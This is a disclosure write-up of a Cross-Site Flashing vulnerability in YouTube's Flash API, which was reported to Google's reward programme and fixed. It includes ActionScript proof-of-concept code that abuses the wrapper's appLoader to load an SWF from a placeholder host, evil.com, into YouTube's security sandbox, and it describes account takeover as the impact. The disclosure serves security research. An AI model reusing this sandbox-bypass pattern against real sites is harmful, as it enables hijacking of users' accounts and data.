II. XSF via appLoader

In Part 1, I introduced an information leakage vulnerability in Youtube. In this part I will disclose a more severe vulnerability that allows arbitrary Flash code execution in youtube.com.
This type of vulnerability is very similar to XSS except we execute Flash code instead of Javascript. It is called Cross-Site Flashing (XSF) or Same-Origin Policy Bypass using Flash.

It will get a little bit more complex, you can read more about Flash security model here.

Let’s have a look at the Youtube Flash Api, this time showing the security sandboxes.

A Loader object can load an external Flash file in 2 ways :

(1) In the normal way, the 2 Flash files are in separate Security Sandboxes (like with <iframe> in html)

(2) If the loader uses the argument “SecurityDomain.currentDomain“, the loaded Flash file will execute in the loader security sandbox (similar to <script src=””> in html, which is very different than loading an <iframe>!). This is how the Main App loads the Modules.
Note: don’t be fooled by the fact that the Main App and Modules files are both located in the same domain s.ytimg.com, this is not the reason why they are in the same security sandbox here, but because the Main App uses the argument “SecurityDomain.currentDomain” to load Modules.

We already saw in Part 1 a technique to access the Youtube appLoader property using youtubeWrapper.getChildAt(0). This time we will use appLoader to load another external file into Youtube security sandbox using appLoader.load(“evil.com/evil2.swf”, SecurityDomain.currentDomain).

 

Here is the POC workflow

And the POC code:

var loader = new Loader();

// Load the Youtube Wrapper (1)

loader.load(new URLRequest("https://www.youtube.com/v/[VIDEO_ID]"));

var youtubeWrapper = loader.content;

// Access the Youtube Wrapper appLoader object (3)

var appLoader = youtubeWrapper.getChildAt(0);

// Load evil2.swf in youtubeWrapper security sandbox. (4)

appLoader.load(new URLRequest("http://evil.com/evil2.swf"), new LoaderContext(false, ApplicationDomain.currentDomain, SecurityDomain.currentDomain));

// evil2.swf can execute arbitrary code in youtube.com security sandbox (5)

 

Technical details:
SecurityDomain.currentDomain is a relative value, since it’s apply to the current Security Sandbox. Flash documentation states that it is the security sandbox of the file where the instruction is written. Nice and easy, however, it is proven to be more complex here.

appLoader is instantiated in Youtube Wrapper, but the call to appLoader.load(evil.com/evil2.swf, SecurityDomain.currentDomain ) is written in evil.swf. So evil2.swf should normally load in evil.swf security sandbox. If you debug the Flash execution, this is what is happening first (when looking for crossdomain.xml file). But at the last moment, because appLoader was instantiated in Youtube Wrapper, evil2.swf will actually execute in Youtube security sandbox.

Once evil.com/evil2.swf is loaded in Youtube security sandbox, the Flash Player will treat it like if it was located at https://www.youtube.com/v/xxx/[[IMPORT]]/http://evil.com/evil2.swf.
This means that evil2.swf can send request to any https://www.youtube.com/ URL and read response source code using URLLoader.

URLLoader is similar to XHR in javascript.

Impact:
Using this vulnerability, an attacker could access any private data on the victim’s Youtube account. It could access private videos, post comments on behalf of the victim or delete all the victim’s videos. The impact is similar to a reflective XSS on youtube.com.

Attack scenario:
Prerequisite : The victim is logged in Youtube and have Flash active
1 The victim visits http://evil.com/evil.html
2 The attacker has control over the victim’s Youtube account

Timeline:
05/20/2016 – reported to Google VRP
05/20/2016 – “Nice catch” from Google
05/24/2016 – reward
06/07/2016 – Issue fixed and verified
 
Conclusion:
Security Sandbox is a great tool but it is complex and implemented deep inside the core language, making it difficult for developers to predict the exact behavior for edge cases (in particular if the language is not open source). Always be careful when using it.
 
In Part 3, I will disclose another XSF and show how Flash vulnerability can be even more dangerous than XSS in some cases.